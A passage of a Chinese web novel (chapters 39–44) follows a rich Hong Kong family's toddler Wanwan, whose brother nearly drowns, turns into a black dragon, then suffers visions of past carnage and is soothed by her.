小婉婉萌萌的点了点头，乖巧的等张南过来，抱着她去卧室里换衣服。 客厅里。 黎墨羽碰了碰黎墨黔的胳膊，他们俩虽然不是同一位母亲，但是年龄只差了一岁，又同为庶子，从小就在一起玩耍，跟一母同胞也差不多。 “四哥，你不是说过，最讨厌小孩子了吗？” 第39章 气包子黎墨郢 黎墨黔被六弟揭短，尴尬的咳嗽了一声。 “那是别人，婉婉是咱们小妹，我喜欢还来不及，怎么可能讨厌！” 天知道，黎墨黔长这么大，从来没见过这么可爱的小朋友。 回想起他们在沙场里捡贝壳，不小心被螃蟹壳扎伤了脚，鲜血淋漓的冒出来，疼得他差点儿背过气。 可是为了证明自己足够勇敢，黎墨黔憋得脸都红了，黎墨羽这个笨蛋竟然一点儿都没发现！ 还是小婉婉跑过来关心他，给他呼了好几下，就再也不疼了。 这么一对比，黎墨黔自然喜欢小妹妹，胜过神经大条的六弟！ 黎墨黔心里正美呢，小婉婉换上了崭新的小裙子，是艳丽的大红色，顶着两只可爱的小揪揪扑到他怀里。 “四哥哥，看我的小裙子漂不漂亮？” 小丫头眨着黑漆漆的大眼睛，奶呼呼的话音让他身上起了一层鸡皮疙瘩。 不是反感，而是喜欢得恨不得把天上的月亮都摘给她。 “漂亮，真好看！” 黎墨黔刚要把小婉婉抱起来，忽然，大门打开，黎墨郢高挑欣长的身影便走了进来。 黎墨黔伸出去的手赶忙收回来，怼了黎墨羽一下，毕恭毕敬的起身，叫了声：“三哥。” 依照他们过去对黎墨郢的了解，一旦触碰了他的专属物品，总是免不了被责罚。 就在两个人畏畏缩缩，准备好被斥责的时候，面前的小婉婉一溜烟的跑到黎墨郢面前，抱住他的大腿。 “三哥哥！” 一声软乎乎的呼唤，直接让黎墨郢脸上的冰川融化，只是看了他们一眼，抱起地上的小家伙。 "过来吃饭。"黎墨郢说完就出了门。 留下黎墨黔和黎墨羽二人面面相觑，不敢相信，这还是他们的三哥？ …… “大哥哥！” 刚刚和黎墨郢从别墅出来的小婉婉，在看见黎墨城的一瞬间，就欢呼雀跃的叫了一声。 而本来在烤鱼的黎墨城听见呼唤，立刻鱼也不烤了，直接大步走过来，张开双手。 纵然黎墨郢万般不情愿，还是在小婉婉期待的眼神里，将她交给了黎墨城。 “想不想大哥？”黎墨城用手臂垫了垫。 真别说，小丫头几天没抱，身上的奶膘都实了不少，比刚来港城的时候重了许多。 “想！”小婉婉回答着，发现他脸颊上流下汗水，用小手轻轻的帮他擦拭几下：“大哥哥，你都出汗了呢。” 黎墨城刚才顶着炎炎夏日烤肉串，都没有人关心他一句热不热。 此刻被小家伙如此关怀，怎么能不动容。 “唔，大哥不怕热，婉婉饿了吗？看这里有什么好吃的？” 黎墨城抱着她来到炉子边，用烤肉夹取了一块石斑鱼，放入餐盘专门给她。 黎墨冰看着黎墨郢霜打了似的黑脸，憋着笑，顺手递了杯果汁。 “小婉婉被家里人喜欢，是她的福气，老三，这一点你要看开，毕竟她不是你的私有物。” 黎墨郢听了他的劝说，非但不领情，一个冷眼扫过。 "用得着你说？" 黎墨冰只负责没心没肺的笑，端起红酒杯，和他的果汁碰在一起。 “我是在提醒你，收敛你的占有欲。” 黎墨郢默不作声，对面前的果汁不屑一顾。 终于，家庭聚餐结束，黎墨郢看着手表上的时针走到了‘九’，起身走到黎墨城面前。 “该睡觉了。”他这话不只是提醒小婉婉，同时也在向黎墨城发出挑衅。 黎墨城怀里抱着小婉婉玩的正开心，突然被迫中断，从未有一刻，如现在这般想要行使他作为兄长的权利。 “你先去睡，我陪婉婉再玩一会儿。” 他淡淡垂眸，并不准备放手，吃定了黎墨郢在他面前不敢造次。 而就在黎墨城的后面，跟小婉婉玩了一个下午的黎墨黔和黎墨羽，也一直在企图跟她多玩一会儿。 黎墨郢捏紧了拳头，半晌，转身大步走向别墅。 小婉婉望着他气冲冲的身影，本能的要到地上，黎墨城一把抓住她的小脚，胸口发出喟叹。 “别管他，婉婉今天跟大哥一起。” “可是三哥哥生气了？”小婉婉萌萌的说。 黎墨城却不打算惯着黎墨郢臭毛病，因为真正的喜欢，是只希望她好，从来不是占有。 “谁让他小气包，活该。”黎墨城今天喝了不少酒，嗓子里憨憨的发出笑声，把她举了起来。“走，大哥带你举高高。” 小婉婉还从来没有这样被人带着玩过，而大哥哥又是家里除了阿奶和阿爷，对她最好的，若喜欢分先后，那么黎墨城，绝对排在前面。 小丫头转瞬“咯咯”的笑起来，就把气包子黎墨郢晾到一边。 …… 夜色漫过海面时，浪成了暗夜里流动的墨，月光碎在浪尖，像揉皱的银箔，被风推着往远处飘荡。 黎墨郢赤脚走在沙土上，此时的海岸线，早就恢复了寂静，三三两两的佣人，在处理聚会后残余的垃圾。 “三少爷，大家都休息了，您不去睡吗？”刚刚休假回来的管家，走过来轻声询问。 黎墨郢的身影伫立在海岸线边缘，清冷的身影，似乎随时要跟着循环的浪潮，融入大海。 “睡不着。” “老夫人不是说，您身体最近有了起色？”老管家不解的皱眉。 风，打着咸腥的气息掠过，潮声漫上来，带着月色的凉，掠起的海涛声，掩盖住了少年细微的呢喃。 “那是因为有婉婉。” 可是，她并不独属于自己。 若是没有体会过那救赎就罢了。 就像瞎子见不到光明，便能欣然沉睡于永暗。 正因为被那道光照耀过，才会拼命抓住，永远不想失去。 “三少爷，不要想太多，还是早点休息去吧。”老管家望着倔强的少年，也只能摇了摇头，哀呜叹息了一声，拖着缓慢的脚步回了别墅。 怔忡的少年却仍然久久不动，任由潮声漫上海岸线，漫过脚踝，带着夜的凉，混着远处的渔火，在海面铺开一片朦胧的静。 呐。 小家伙不在的时候，他又能怎么样？ 第40章 三少爷，危险！ 小婉婉刚刚睁开眼睛，就听见天空响起一声闷雷。 别墅距离海岸线的距离，足够她清楚听见海鸥的鸣叫，潮汐的泛滥，混合佣人的呼唤，让她迫不及待的迈开小腿，向外面跑去。 黎墨城昨夜喝了不少酒，起来头还有些蒙，待反应过来，发现小婉婉跑出屋子，赶忙起身跟了过去。 出门一看。 却见原本还算驯服的海平面，正以肉眼可见的速度暴躁起来。 榔头不再是层层叠叠的推进，而是被某种无形的力量猛地掀高，带着暗青色的凶光，砸向地面。 “三少爷，涨潮了！” “暴风雨就要来了三少爷！” “快回来……” 佣人们参差不齐的呐喊，却迟迟唤不回执意在浪潮中奋勇的少年。 黎墨郢本来想回岸边的，可是那时已经晚了，一道比之前任何浪头还要高的水墙，正从斜后方向他施压而来。 如同海上的深渊巨口，随时准备将他吞噬其中。 硕大的阴影瞬间罩住了他，连风声都被吞没。 黎墨郢下意识躬起背，试图顺着浪势起板，可浪头根本不给他任何缓冲的机会。 也是刚好在这个时候！ 他的目光触及到岸边，顶着两个歪歪扭扭小揪揪的丫头，正不顾一切的向着海岸线跑过来。 她的身影那么小，放在广阔的海平面，只是一个黑点，宛若小小的游鱼抵达巨鲸之口，随时面临被吞噬的风险。 他听不见她发出的声音，却从她笨拙又焦急的小步子上，感受到了她的关心。 黎墨郢眉头紧皱，千钧一发之际，他屏住呼吸，绷紧神经向着岸边袭进。 然而，却在小丫头摔倒在沙滩上的一瞬间，他的神经快速穿梭在紧绷和放松之间，稍微不留神，浪头如同巨石般轰然砸下。 冰冷的海水瞬间灌满口鼻，窒息感像贴铁钳攥住喉咙。 纵然黎墨郢会游泳，可是在乱流里翻滚的他，根本分不清上下，不断被卷着往下沉，只隐约听见闷咳声与海浪的咆哮混在一起。 …… “三哥哥！”小婉婉在奔跑的时候不小心摔了一脚，眼见着黎墨郢被波涛吞噬，她小小的心脏感觉到一阵钝痛。 同一时间。 追随她从别墅冲出来的黎墨城，也看见这一幕。 他先是本能的将小婉婉抱起来，而后望着汹涌的无尽波涛，刚刚吞噬了三弟，他的脑海里，忽然涌入昨夜他怅然若失的表情。 明知道臭小子什么德行，真不该跟他赌气！ 黎墨城心中懊悔万分，将小婉婉交给佣人，脱掉外套，一阵风似的冲进了海水中。 一大清早，黎家两位少爷，还都是黎立轩正妻的孩子发生意外，黎家所有人，没有一个还能安稳的坐着。 黎老夫人痛苦的用手捶打地面，懊恼好好的家不待，非要来冒险，害了两个宝贝孙子。 黎老爷面色苍白，指挥数位水性好的保镖，下河去捞人，活要见人，死要见尸。 可话虽然这样说，以大海的广阔程度，被它吞没的人类，也不过是一粒尘埃那般渺小。 宋珍珍在事发的当场就被吓得晕厥，黎立轩一面担心孩子，一面又要顾及家人，同样宛若展板上的鱼肉，备受煎熬。 彼时，小婉婉被张南勒在怀里，一天之内，黎家两位少爷发生意外，若真的回不来，谁也无法想象后果。 她能做的也只是带着孩子一起自保，无论如何，不要牵连她们就好。 “三哥唔……”小婉婉想要呼唤，却被张南一把捂住了嘴，抱着她躲到人群的最后方。 小婉婉大睁着眼睛，望着汹涌湍急的海面，一颗晶莹的泪水，滑落眼角。 闪电亮起时，整个海平面如同暴躁的野兽，呼啸着朝岸边汹涌而来。 那些下去营救的保镖，全都被浪花打了回来，根本就无法触及黎墨郢出事的位置。 好在第三次浪潮拍打岸边，他们将黎墨城找了回来。 经过几分钟的营救，黎墨城逐渐苏醒，他和众人一起望向狂暴的海平面，绝望，而痛苦。 …… 当窒息感攀到顶点的瞬间，刺骨的海水里，突然炸开一阵滚烫。 那不是火焰的热，而是从骨血处涌出来的烈焰在燃烧。 原本已经被海水冲击得失去意识的黎墨郢，却在这时睁开了眼睛。 冥冥中，他似乎听见了谁的呼唤，宛若凤鸣鹤唳，犹如海底炼狱深处发出的怒吼，化作岩浆，在血脉中奔涌。 这种感觉，熟悉，又陌生。 奇怪的是，他虽然一动不能动，却获得了在海水里呼吸的能力。 难道他已经死了吗？ 可是那种灼痛感……让他的四肢猛地绷紧，皮肤下有什么东西在鼓胀、撕裂，尾椎骨传来钻心的疼，仿佛有什么东西，要冲破禁锢，破骨而出。 黎墨郢想要嘶吼。 却只呛出一串带血的气泡，眼前的黑暗里，是他无限放大的瞳孔，突然炸出无数细碎的光芒。 是鳞片！ 青黑色的鳞片冲破皮肤，层层叠叠的铺展开，目光所及，边缘泛着凛冽的金属光泽，每一片都在水里微微震颤。 手臂和小腿的骨节琵琶作响，拉长、绵延，指节更是直接融合成为锐利的爪，划破海水带起的细碎漩涡，在昏暗的光线下，投出狰狞的影子。 当最后一道闪电撕裂云层，照亮海底那团正在成形的黑影。 少年的轮廓已经彻底消失，取而代之的是一头矫健的黑龙，覆盖着游览光泽的鳞片，琥珀色的竖瞳在深海里亮如寒星，水流在翼间形成细碎的白浪，原本狂暴的暗流，竟然在它的周围都温顺了几分。 下一秒，黑龙猛地摆尾，庞大的身躯如同离弦之箭破出海面，带起冲天的水柱，在轰鸣的浪涛间盘旋，肠胃扫碎了迎面而来的巨浪，龙啸声穿过风雨，竟然天边滚动的雷云都停滞了下来。 毫无意外，这一刻，它是主宰着风雨雷电的神，就连海啸在它面前，都显得那样渺小。 刚才还在吞噬它的怒海，此刻，不过成了它舒展筋骨的疆域。 “三哥哥！”一声短暂的呼唤，从小人儿口中发出。 就在所有人不敢置信的望着所见的一幕，原本被张南困在最后面的小婉婉挣脱了禁锢，惊喜的向着海平面奔跑而去。 第41章 天命煞星 黑色的巨龙幻影在浪尖盘旋，琥珀的竖瞳里，还凝结着方才冲破海面的桀骜。 就在小婉婉向它奔跑的瞬间，那些有蓝色的鳞片开始泛出半透明的光，像是被海水浸得虚无。 尾尖玄色的鳞片，一片接着一片变得轻薄，簌簌的往下掉，龙角粗糙的肌理消退，最后，整个龙身都化作一缕青烟，消散在了浩瀚的海面。 风暴和大雨，停了下来。 黎墨冰是第一个发现端倪的，跟着小婉婉的脚步跑到岸边。 浪头像是耗尽了最后一丝力气，将昏迷的少年推向了沙滩。 黎墨郢的身体在实话的沙粒上，一动不动地伏着。 “三哥哥！”小婉婉小手紧紧拉住他的大手。 “阿郢！”黎墨冰将他抱起来，带着婉婉一起向安全地带转移。 后方的众人也从震惊中缓过来，黎墨城和黎立轩一同跑过来，检查黎墨郢身上的伤势。 黎老夫人刚刚将经历过这一场劫后余生的喜悦，双手合十跪了下去，对着大海磕头。 “谢谢神灵保佑，让我孙子平安无事。” 任何人见到刚才这幅场景，都会第一时间认为是神明的庇护。 黎家的所有家眷，都跟随着老夫人的动作，面朝大海跪拜叩首。 黎老爷虽然也被震撼，但还保持着理智，吩咐黎立轩将黎墨郢转移到别墅，联络医生团队。 …… 两个小时后。 医生团队从黎墨郢的房间出来，经过一番检查，黎墨郢的身体并无大碍，只是不知道什么原因，让他一直处于昏睡状态。 “会不会是在海里，被礁石撞坏了脑子？”黎老爷猜测道。 医生点了点头：“虽然我们检查三少爷的头部没有伤口，可也并不排除这种可能，先观察看看，如果不放心，可以到医院里做系统的检查。” 黎老爷送走了医疗团队，见全家人都各怀心思的在客厅里杵着，便发话：“你们都回去休息吧，既然医生都说没有大碍，墨郢一定会没事！” 众家眷不敢反驳，全都起身应声，相继退下去了。 “墨冰、墨城，你们两个留下。”黎老夫人叫了一声，黎墨冰和黎墨城停下脚步，等到所有人都退走。 黎老夫人看了黎老爷一眼，开口：“墨郢今天在海上发生的奇观，今天大家都看到了，要是还说这世上没有神明，就是对龙神的不敬！” 黎老爷子叹了口气，他一向不信神佛，但是自从他苏醒后，一再见证神奇，如今是不信都不行了。 然而，还没等他说话，黎墨冰先一步说出心中想法。 “阿爷，阿奶，我觉得不是这么简单……” …… 房间内。 宋珍珍和黎立轩一直守在黎墨郢的床前，担忧他为什么迟迟没有醒来。 这时，一直站在床下的小婉婉，奶声奶气的开口说道：“阿娘、阿爸，你们别怕，三哥哥在睡觉觉呢。” “是，三哥哥在睡觉，婉婉累不累，要不要回房间歇一会儿？”黎立轩柔声问。 因为小婉婉拥有特殊的能力，每天又都和黎墨郢在一起，夫妻二人都没阻止她留在这里。 “不要，我陪着三哥哥。”小婉婉向前移了两步，软乎乎的小手，拉起黎墨郢的大手，就那么乖巧的陪着他。 黎立轩和宋珍珍看着她不到巴掌大的小脸蛋儿，全都是对真诚哥哥的关心，不禁萌生出几分感动，和她一起耐心的等待黎墨郢状况好转。 …… 客厅里。 黎墨冰推断，黎墨郢并不是单纯的被神明所救，而是神明附着在他身体里，在关键时候化形替他保命。 黎老爷和黎老夫人同时瞪大了眼。 异口同声的问：“老三被神明附体，你怎么知道？” 黎墨城也侧眸向他看来，清冷的眉宇下沉，迸射出锐利的光。 黎墨冰感觉到了不小的压力，因为说起这个，不得不提到，七年前，他的生母因一己之私犯下的错误。 “当年，我妈嫉妒阿郢受爷爷器重，找术士给阿郢下了死咒，阿郢从那以后落下失眠的疾症，而那个术士却遭到反噬当场气绝而亡，他死前留下了一句话。” “他说了什么？”事关黎墨郢身上的秘密，黎老夫人紧张的前倾。 黎墨冰见老爷子没有制止，才继续开口：“他说，阿郢是天命煞星转世，人咒敌不过天咒。” “胡扯！”黎老爷一拍茶几，气愤的站了起来，随即大声呵斥：“当年的事我不与你妈计较，只罚她在祠堂罚跪，如今，连你也嫉妒墨郢，说出这种污蔑的话来！” 黎墨冰就知道这么说会挨骂，无辜的解释：“我没有嫉妒墨郢，阿爷，小婉婉一开始见到墨郢，也说在他是龙，而且不止一次。” 一开始小婉婉说黎墨郢是大恐龙，黎墨冰还没有往那方面联想，是后来她提到的次数多了，他才详细的问过一次，也就是那天他带她相亲回来的路上。 黎墨冰提到了小婉婉，顿时，黎老爷凝重的脸色，有了几分动摇。 而黎老夫人相较于他，已经基本相信了黎墨冰的话。 “那个给阿郢下咒的术士，还说别的没有？” 黎墨冰努力回忆许久，摇了摇头。 不过，他心中还有另外一个猜测：“我觉得，阿郢常年被噩梦困扰，应该不是咒术的问题，而是他自身。毕竟那个术士早就死了，人亡，便咒亡。” “你确定，说这些猜测，不是在为你生母开脱？”黎老爷讽刺的眯起眼。 要知道，黎墨郢从小天资卓越，是他众多孙子中最喜欢的一个，有时连黎墨城都比不过他在老爷子心里的地位。 而当年朱丽月对他下咒的行为，黎老爷那时还不信玄学那些东西。是以，他也只是当做后院争风吃醋处理，让她去跪了几天祠堂就算了。 而今天他再回想，只觉得对她的惩罚太轻，让他们母子还怀揣着私心！ 就在黎老爷准备抓住黎墨冰重新问责的时候，站在走廊里听了一会儿的黎立轩，皱眉走了进来。 “阿冰说的没错。”他来到二位长辈面前，轻轻叹了口气：“妈，你还记得半年前来家里的散修吗？前些日子我在内地见过他一次，也向他询问过一些阿郢的情况。” 第42章 别离开我 “是之前那位来过家里的高人，他说阿郢怎么回事儿？”黎老夫人急得从椅子上下来，往前走了两步。 黎立轩低低颔首，铿锵有力的说：“他说我们阿郢的八字为大凶之相，但天命降贵，自有吉星福照。” “吉星福照说的是不是我们婉婉？”黎老夫人猜测。 “应该是。”黎立轩点了了点头。 黎老夫人听得又惊又喜：“那这么说，阿郢他最后能够化险为夷？” 黎老爷则是怨怼：“这么重要的事，你怎么不早告诉我们！” 黎立轩汗颜，尴尬的为自己辩解：“爸不是一直禁止我们提及装神弄鬼的话题，所以我就放在心里，没说出来。” 黎老爷：“……” 至此，客厅里陷入了短暂的沉默，迟迟没有发表过意见的黎墨城开了口。 “婉婉虽然是我们黎家的福星，可她年龄还小，或许连她自己都不清楚是怎么回事。我建议，将那位高人请回来，具体问一问究竟。” 黎立轩随即附和：“我也同意，把那位高人请回家里看一看。” 黎老爷子背着双手，在客厅里转了两圈。 最后做出决定：“那就让墨城和墨冰去内地，用最快的时间把人找到！” …… “三哥哥，你睡醒啦。” 伴随着小奶团软呼呼的声音，黎墨郢睁开了眼睛。 宋珍珍见状立刻出去报信，黎家二老和黎立轩先后赶到，围着他就是一番心疼的询问。 “阿郢，你总算醒了，身体哪里不舒服？” “你真是要吓死我们了！” “幸好你没事，要不然可让我们怎么接受？” “阿郢？阿郢，你怎么不说话？”黎老夫人见众人问了半天，床上的黎墨郢都没有回应，不禁开始后怕，慌乱的说：“完了，莫不是在海里撞坏了脑子，不认识我们了呜呜！” “都别吵了！让开！”黎老爷将所有人都撵到一边，独留下三岁的小婉婉，他蹲下来，拉住她的小手，轻轻的问：“婉婉，你知不知道三哥怎么回事？” 小婉婉眨巴眨巴眼睛，看了看黎墨郢，把小脸儿扭回来。 “三哥哥没事呀。” “你们听见没有，她说阿郢没事。”黎老爷厉声强调。 一个从来都不信玄学之人，乍一开始相信，就像是打开了新世界的大门，心里充满敬畏。 而情况也果然如小婉婉所言，黎墨郢在呆愣了一会儿后，眼睛慢慢恢复了神采，转到了床边。 “阿爷。”少年低哑的呼唤，让全家人齐齐松了一口气。 “阿郢，阿爷在这儿，你现在感觉怎么样？”黎老爷心疼的用手抚摸孙子的侧脸。 黎墨郢勉强勾了勾唇角，摇头：“我没事，让你们担心了。” 说完，他目光转向小婉婉，对上小小只扑灵着打眼，一直关心的握住他的手，唇角的笑容又绽开了一些。 “过来。”他攥住她的手腕。 小婉婉点头，吭哧吭哧的往床上爬。 黎老爷看她的小短腿实在爬得艰难，用手拖了一把。 待小婉婉坐在床上，头趴在黎墨郢胸口，有模有样的说道：“三哥哥以后不准调皮了，否则让阿奶打你的屁股。” “对，他要是再不听话，我就打他的屁股！”黎老夫人接着小家伙的话，让屋子里紧张的氛围都放松了下来。 众人又陪伴黎墨郢待了一会儿，见他气色逐渐恢复，就不再围着床头说话，把空间腾出来，让他好好休息。 黎墨郢则在大家离开后，从床上下了地。 小婉婉立刻跑过来，抱住他的腿：“三哥哥，你是不是肚肚饿了？” 黎墨郢白了她一眼，腿动了动：“我要撒尿。” 小婉婉立刻用手捂住眼睛：“男生撒尿，女生不能看！” 黎墨郢快步进入卫生间，在关上门的瞬间，他看见镜子里的自己，双眼一片赤红，宛若淬了血的玻璃，从眼角弥漫至眼尾，宛若一只困境中的兽，连呼吸都带着灼人的戾气。 黎墨郢饶是心里有准备，仍然被自己在镜子里的模样吓到后退！ 他踉跄了一步，抓住洗手盆站稳，再次抬起头，与镜子中的双眼对视—— 那被红色烈焰围困的，是漫山遍野的血汇聚成河流。 狰狞的铁链缠绕龙身，与龙鳞摩擦，发出钝器被割裂的响动，那黑色的可怖龙爪，只轻轻一斩，便让整个村庄的居民血肉模糊。 刹那，人类的住所化作齑粉，到处都是残垣断壁，弥漫着血腥的气味…… “三哥哥！你好慢哦。”门外，小奶娃稚嫩的呼唤，将黎墨郢拉回到现实。 镜子里的他，眼睛里的赤红瞬间消散，他看着自己的双手，耳朵里，似乎还残存着女人的尖叫、孩子的啼哭，木头爆裂的噼啪声，震得他头痛欲裂。 “三哥哥？”小婉婉等不及，用小拳头敲了敲门。 黎墨郢大口喘气，将房门打开，直接跪倒，一把将小婉婉抱在怀里。 刹那间，那些折磨他的噩梦尽数散去，只留下一身的冷汗，被窗口的凉风吹落，他强撑着意志，抱着她回到床上。 “别离开我。” 黎墨郢双眼紧闭，本能让他很想将她抱紧，又怕勒疼了她，只能拼命克制力度，克制到睫毛的羽翼都在颤抖。 小婉婉点着头，感受到从他的痛苦，抬起小手，轻轻抚摸他的后背。 “三哥哥别怕，我不走，大黑龙不敢吓唬你。” 黎墨郢喉咙里沙哑的“嗯”了一声。 闭上眼，却已然知道，婉婉口中的大黑龙是自己所化。 他亲眼看见，它曾经为祸世间，猎杀一切所见的生命，使得世间遍布血海，生灵涂炭…… 呵。 所以长久以来折磨他的，并不是单纯的噩梦，而是罪恶的苦果！ 只有婉婉身上纯净的力量，才能让他获得短暂救赎…… 黎墨郢就这么抱着小婉婉，等到最后一丝力气都用尽，闭上眼睛陷入了沉睡。 小婉婉感觉到抱着自己的手臂放松下来，小大人儿似的叹了口气，自言自语的说：“大黑龙又不老实，要想个办法，让它乖乖听话。” 第43章 三哥太反常啦 黎墨郢这一觉睡得很沉，等到睁开眼，天色已然黑透。 好在有小婉婉在身边，他没再陷入和黑龙有关的梦魇，揉了揉额头，他从床上起身。 “你在做什么？” 此刻，小婉婉手里正攥着黎墨城送他的名牌钢笔，在他身上做‘鬼画符’。 “我在画画呀，三哥哥，看我画的好不好看？” 她的手还是很小的一只，也没学过握笔，弄的小脸蛋儿上都是墨水，脏兮兮的像只小花猫儿一样，再看他的胸口和大腿，全都是被乱画成的黑道道，歪歪扭扭的，有很多都混成了一团，根本分辨不出画的是什么。 黎墨郢洁癖发作，眉头紧了紧。 “闲着没事儿干了你。”黎墨郢一反常态，只是轻描淡写的说了一句，并没有对她黑脸。 小婉婉咧着小嘴儿，露出一排整齐的小米牙，转而又萌又憨做出凶凶的表情。 “婉婉画大老鹰，把大黑龙吓跑。” “大老鹰？”黎墨郢看着腿上一团团黑道道，无奈失笑：“我只看到一坨臭粑粑。” “才不是粑粑，明明就是大老鹰！嗷呜。”说着，小丫头还学起了老鹰的叫声。 逗得黎墨郢发出低低的笑声，抬起手，刮了刮她黑乎乎的小脸蛋儿。 “好，那大黑龙已经被你吓跑了，我现在能洗了吗？” 小婉婉却摇头：“不可以哦，三哥哥跟大老鹰在一起。” “不用大老鹰，有你就够了。”黎墨郢伸出手，把她抱在怀里，从怀里掏出手帕，帮她擦拭脸上的墨水。 睫羽低垂，他深邃的凤眸望着她的小脸，多重复杂的情绪，交织在心里。 如果没有她，自己将一直沉浮在黑龙的梦魇里，可能一辈子，都逃脱不掉。 可喜欢她的人那么多，他又怎么能自私的，将她占为己有？ 一个堂堂正正的男子汉，不应该躲在女孩子的身后…… 伴随着少年轻轻的叹息，他怀里的小奶娃眨巴大眼睛问：“三哥哥，你肚肚饿不饿？” “你饿了？”黎墨郢反问。 小婉婉点头，顺着她的动作，小肚肚发出“咕噜噜”的叫声。 黎墨郢不再磨蹭，起身下床，帮她穿好小皮鞋，大手拉着小手一块下楼。 客厅里，非常安静，只有两个常跟在身边照顾的佣人在旁边候着。 “家里其他人呢？”黎墨郢问。 刘妈上前一步，躬身解释道：“老夫人知道您不喜欢吵，就搬去跟老爷一块儿住了，让我们几个在这边照顾您和小小姐。” 黎墨郢颔首，这些年他都是这样过来的，明白阿奶这样安排，也只是遵从他的习惯而已。 “婉婉饿了，给她弄点吃的。” “好。”刘妈蹲了下去，询问：“小小姐，您想吃点什么？” 但是眼神，却不由自主的总是想要看向黎墨郢。 看一眼，赶忙收回来，就再也不敢看第二眼了。 小婉婉并没有发觉到刘妈的异常，想了想，开始报菜名：“我想吃大虾、鱼鱼、京糕和雪梅露。” “好，我这就去准备。” 说完，刘妈一刻都不敢耽搁，赶忙叫上其他佣人到厨房里忙碌。 很快丰盛的美食端上餐桌，黎墨郢陪小婉婉坐在餐桌前，亲手帮她给大虾去壳，然后把虾肉喂到她嘴里。 看着小丫头虎头虎脑吃饭的模样，紧绷的情绪都得到了释放。 “三哥哥，你吃饭呀。”小婉婉抬头提醒，嘴角还挂着一点儿酱汁。 黎墨郢用手帕帮她擦拭干净，继续给她剥虾：“你吃，我不饿。” “可是你不吃饭的话，就长不高了哦。”小家伙反倒像个小大人儿似的，给他讲起了道理。 黎墨郢把虾肉丢进她碗里，说了一句：“吃你的，我再不长，也比你高。” 小婉婉撅着小嘴儿，一口将虾肉塞到小嘴儿，咕哝：“窝要次多多右右，讲大离定比你高！” …… 饭后。 小婉婉就有些累了，坐在沙发上，开始打起了小哈欠。 黎墨郢怕她吃太多，直接睡觉会消化不良，于是提出带她出去玩一会儿。 小婉婉立刻答应，跑回屋里拿了个小卡车玩具，跑到玄关换上了室外的运动鞋。 一出门，小家伙就倒腾着小腿儿往沙场跑去，实钝钝的小人儿，简直像个小地雷一样，在沙土中留下一排小脚印，独属于孩童的欢笑声，那么悦耳。 黎墨郢两手插兜，慢慢的跟在后面走。 银色的月光像一匹被揉碎又重新铺展的锦缎，漫过墨蓝色的海面，在这个无风的夜晚，无比的宁静。 小婉婉在沙坑里，碰到了贪玩的黎墨黔和黎墨羽，两个家伙来的时候还白白净净的，在沙滩上晒了两天，都快成了黑猴子，不过到底是富庶家庭的孩子，即便晒得给不溜秋，在严格的教养下，仍然难掩与众不同的气质。 “四哥哥、六哥哥，我来啦！” 黎墨黔从滑梯上探出脑袋，看见小婉婉的时候，立刻咧开嘴，露出一排大白牙。 “小妹妹，快上来，看我们发现了什么好东西！” 下一秒，当他看见跟在不远处的黎墨郢，他赶忙把头缩回去，告诉黎墨羽：“别玩了，三哥过来了！” 黎墨羽一听，赶忙用沙土将身上的沙土抖落掉，而后和黎墨黔一起跑到滑梯边上来，规规矩矩的站好，等着黎墨郢走近。 “三哥。” “三哥好。” 上一秒还贪玩的两只，在这一刻眼神清澈无比，宛若讲台上的小学生，恨不得原地给他敬个礼。 黎墨郢只是“嗯”了一声，见小婉婉已经爬上滑梯，并没有阻止他们接触，而是径直走到旁边的秋千架上，弹了弹灰尘坐下去。 黎墨黔和黎墨羽你看看我，我看看你，谁也不敢擅动。 “三哥搞咩嘢？” “唔知啊，太过反常啦！” 不怪两个人惊讶，从他们有记忆以来，黎墨郢几乎从不会踏进游乐场，更别提坐在到处都是沙尘的秋千上面。 更让他们难以置信的是，黎墨郢见到浑身脏兮兮的他们，竟然没有骂人！ 反常，真的反常！ “四哥哥，六哥哥，你们要给我看什么？”已经爬上滑梯的小婉婉问道。 黎墨黔回过神，对黎墨羽示意：“你先带婉婉过去。” 黎墨羽猜到他想做什么，点了点头，拉着小婉婉的手走进滑梯里面。 黎墨黔的胆子比黎墨羽要大一些，望着黎墨郢沉默的背景，定了定神，从另一侧的滑梯上溜了下去。 第44章 画大老鹰 黎墨黔一个轱辘从滑梯上跑过来，所过之处掀起了一片沙土。 待来到黎墨郢面前的时候，完全就是个灰突突的脏小子。 “三哥，呃……”黎墨黔挠了挠后脑勺，十岁的他站在坐着的黎墨郢面前，也才跟他一般高而已。 “做什么？”黎墨郢沉声开口，狭长的凤眸透着天然的威慑力。 黎墨黔还是有些胆颤，嘴皮子抖了抖，把脸往前面探了一寸。 待确定自己没有看错，他结结巴巴的问道：“三哥，你脸上画的是什么？” 黎墨郢：“？” 脸上！ 意识到小婉婉在他脸上也做了“鬼画符”，黎墨郢从秋千上起身，大步向别墅跑去。 由于他的动作太过突然，黎墨黔直接被吓得后退了一步，看见黎墨郢跑开，才愣愣的追过去。 “三哥……” “别跟着我！”黎墨郢将他叫停，回头警告：“看好婉婉！” 说完，他一股脑跑回别墅，来不及换鞋就冲到洗手间。 果不其然，他脸上也被小丫头画了乱七八糟的图案，乍一看，完全就像一只花脸猫！ 黎墨郢打开水龙头，浑浊的墨水顺着他脸庞滑落，搅得池子里的水也跟着浑浊，隐约间，像是一道道黑色的鳞片，泛着凛凛的杀意。 黎墨郢在看见幻影的一瞬间，快速按下放水键，听着轰隆隆的水流进下水管，他抬起头，大口喘着气。 “三少爷，怎么就您自己，小小姐呢？”刘妈走过来问。 黎墨郢睁开眼睛，神色恢复正常：“她在外面，老四和老六陪着她。” “四少爷和六少爷都还小，怕是带不了小小姐，要不还是我去看着吧？”刘妈向他请示。 黎墨郢正好打算去洗澡，于是点头，提醒她：“让她少玩一会儿，回来休息。” “是。” 随着刘妈出门，黎墨郢上了二楼，进入浴室以后，他看着浑身都被画的黑乎乎的自己，想起小婉婉对他说过的话：婉婉画大老鹰，把黑龙吓跑。 无奈扶额。 大黑龙是吓跑了，他的洁癖也要崩溃。 …… 沙场里，黎墨黔和黎墨羽向婉婉展示了他们捡到的贝壳后，发现她喜欢，就大方的都送给了她。 小婉婉捧着贝壳都装进小桶里，看见刘妈过来，她光着小脚丫跑过去。 “刘妈，你能帮我洗干净吗？” “可以，不光它们，你这小脸儿也得洗干净。”刘妈蹲了下来，用手绢帮她把脸上的傻子擦干净，又发现头发里面也是，要是让三少爷看见，肯定又会洁癖发作。 “两位少爷，天晚了，小小姐该睡觉了，你们也早点回去吧？”刘妈好声劝说。 黎墨黔和黎墨羽以为是黎墨郢的意思，于是答应，跟小婉婉道别后回了自己的住处。 